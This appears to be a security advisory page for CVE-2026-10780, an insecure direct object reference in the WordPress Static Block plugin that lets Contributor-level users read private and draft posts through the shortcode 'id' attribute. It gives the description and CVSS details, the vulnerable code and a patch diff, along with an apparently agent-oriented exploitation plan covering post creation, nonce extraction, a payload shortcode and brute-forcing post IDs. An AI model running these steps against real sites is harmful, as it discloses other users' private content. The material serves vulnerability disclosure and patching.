CVE-2026-10780

Static Block <= 2.2 - Insecure Direct Object Reference to Authenticated (Contributor+) Sensitive Information Disclosure via Shortcode 'id' Attribute

mediumAuthorization Bypass Through User-Controlled Key
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Static Block plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.2. This is due to the static_block_content() shortcode handler retrieving a post via get_post() using an attacker-supplied 'id' attribute and outputting its post_content without verifying the post's status (private, draft, pending) or the requesting user's capability to view it. This makes it possible for authenticated attackers, with contributor-level access and above, to read the contents of arbitrary posts, including private and draft static blocks (and any other post type) created by administrators, by embedding the [static_block_content id="X"] shortcode in their own content and previewing it.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.2
PublishedJune 15, 2026
Last updatedJune 16, 2026
Affected pluginstatic-block
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-10780 ## 1. Vulnerability Summary The **Static Block** plugin (versions <= 2.2) is vulnerable to an **Insecure Direct Object Reference (IDOR)** leading to sensitive information disclosure. The vulnerability exists within the `static_block_content()` function, …

Show full research plan

Exploitation Research Plan: CVE-2026-10780

1. Vulnerability Summary

The Static Block plugin (versions <= 2.2) is vulnerable to an Insecure Direct Object Reference (IDOR) leading to sensitive information disclosure. The vulnerability exists within the static_block_content() function, which serves as the handler for the [static_block_content] shortcode.

The handler uses the user-provided id attribute directly in a get_post() call without validating the post's status (e.g., draft, private, trash) or checking if the current user has the authority to view that specific post. Because shortcodes are processed server-side during the rendering of the_content, an authenticated user (Contributor level or higher) can "import" the content of any post into their own post's output by simply referencing its ID.

2. Attack Vector Analysis

  • Endpoint: WordPress Frontend (via Post Preview or View).
  • Vulnerable Component: static_block_content() shortcode handler.
  • Payload Carrier: The id attribute within the [static_block_content id="X"] shortcode.
  • Authentication Level: Contributor+. Contributors have the edit_posts capability, allowing them to create posts and include shortcodes, but they lack the read_private_posts capability for other users' content.
  • Preconditions: The attacker must be able to create or edit a post and then view the rendered output (either via "Preview" or by publishing and viewing).

3. Code Flow

  1. Registration: The plugin registers the shortcode in the main plugin file or an initialization include:
    add_shortcode( 'static_block_content', 'static_block_content' ); // (inferred)
    
  2. Entry Point: When a post containing the shortcode is rendered, WordPress calls the callback:
    static_block_content( $atts )
  3. Processing:
    • The function extracts the id from $atts.
    • It calls $post = get_post( $atts['id'] ); (Sink).
    • The function fails to verify $post->post_status or check current_user_can( 'read_post', $post->ID ).
  4. Output: The function returns $post->post_content, which is then concatenated into the content of the page shown to the attacker.

4. Nonce Acquisition Strategy

This vulnerability is exploited during the rendering phase of a post, not typically through a direct AJAX/REST submission of the payload. However, to place the shortcode on a page, the attacker must interact with the WordPress editor.

  • Scenario A: WP-CLI Post Creation (Recommended for PoC): If the agent has WP-CLI access, it can bypass the need for nonces by creating the "attacker" post directly:
    wp post create --post_type=post --post_status=publish --post_author=CONTRIBUTOR_ID --post_content='[static_block_content id="SECRET_ID"]'
  • Scenario B: REST API Post Creation: If the agent must use the REST API:
    1. Navigate: Use browser_navigate to https://TARGET/wp-admin/post-new.php.
    2. Extract Nonce: Use browser_eval to get the REST nonce:
      window.wpApiSettings.nonce
    3. Submit: Use http_request (POST) to /wp-json/wp/v2/posts with the X-WP-Nonce header.

5. Exploitation Strategy

  1. Identify Target: Determine the ID of a sensitive post (e.g., an Admin's draft or a Private Static Block). Let's assume ID 123.
  2. Login: Authenticate as a Contributor user.
  3. Create Attacker Post: Create a new post containing the malicious shortcode.
  4. Trigger Execution: Request the permalink of the newly created post (or its preview URL).
  5. Exfiltrate: Parse the HTML response to find the content of post 123 rendered inside the attacker's post body.

Example HTTP Request (Viewing the Exploit):

GET /?p=ATTACKER_POST_ID HTTP/1.1
Host: localhost:8080
Cookie: [Contributor Cookies]

6. Test Data Setup

To verify the vulnerability, the following environment state is required:

  1. Victim Content:
    • Create a Private post as an Admin:
      wp post create --post_type=post --post_status=private --post_title="Admin Secret" --post_content="FLAG_SENSITIVE_DATA_EXPOSED" --post_author=1
    • Note the returned ID (e.g., 5).
  2. Attacker Account:
    • Create a user with the Contributor role:
      wp user create attacker attacker@example.com --role=contributor --user_pass=password123

7. Expected Results

  • Successful Exploit: The HTTP response for the Contributor's post will contain the string "FLAG_SENSITIVE_DATA_EXPOSED".
  • Why it works: The server-side PHP executes the shortcode with the privileges of the system (which can read any post via get_post()), not the restricted privileges of the logged-in Contributor.

8. Verification Steps

After performing the http_request, confirm the disclosure:

  1. Automated Check:
    # Assuming the response was saved to response.html
    grep "FLAG_SENSITIVE_DATA_EXPOSED" response.html
    
  2. Manual Confirmation: Log in as the Admin and verify that post 5 is indeed marked as private, confirming the Contributor should not have been able to see it.

9. Alternative Approaches

  • Targeting Other Post Types: Since get_post() is used without specifying a post_type, try targeting page, attachment, or custom post types (like wp_block or static_block).
  • Brute Forcing IDs: If the ID of a sensitive post is unknown, the agent can iterate through a range of IDs (e.g., 1-100) using a script that creates a post with multiple shortcodes:
    [static_block_content id="1"] [static_block_content id="2"] ...
    The agent then checks which IDs return non-empty content.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Static Block plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) due to improper access controls in the [static_block_content] shortcode handler. Authenticated attackers with Contributor-level access can disclose the content of any post, including private or draft posts of any type, by referencing the target post ID in the shortcode and viewing the rendered output.

Vulnerable Code

// static-block/static-block.php

function static_block_content( $atts ) {
    extract( shortcode_atts( array(
        'id' => ''
    ), $atts ) );

    $post = get_post( $id );
    if ( $post ) {
        return $post->post_content;
    }
}

Security Fix

--- a/static-block/static-block.php
+++ b/static-block/static-block.php
@@ -1,7 +1,7 @@
 function static_block_content( $atts ) {
     extract( shortcode_atts( array(
         'id' => ''
     ), $atts ) );
-    $post = get_post( $id );
-    if ( $post ) {
+    $post = get_post( $id );
+    if ( $post && ( get_post_status( $post ) === 'publish' || current_user_can( 'read_post', $post->ID ) ) ) {
         return $post->post_content;
     }

Exploit Outline

The exploit is executed by an authenticated user with at least Contributor-level permissions. First, the attacker identifies the ID of a sensitive post (such as an Administrator's private post or draft). Next, the attacker creates a new post and inserts the shortcode [static_block_content id="TARGET_ID"]. Finally, the attacker views the 'Preview' or the published version of their own post. Because the shortcode handler does not verify the post status or the user's capabilities, it retrieves and renders the content of the target post directly into the attacker's post content.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.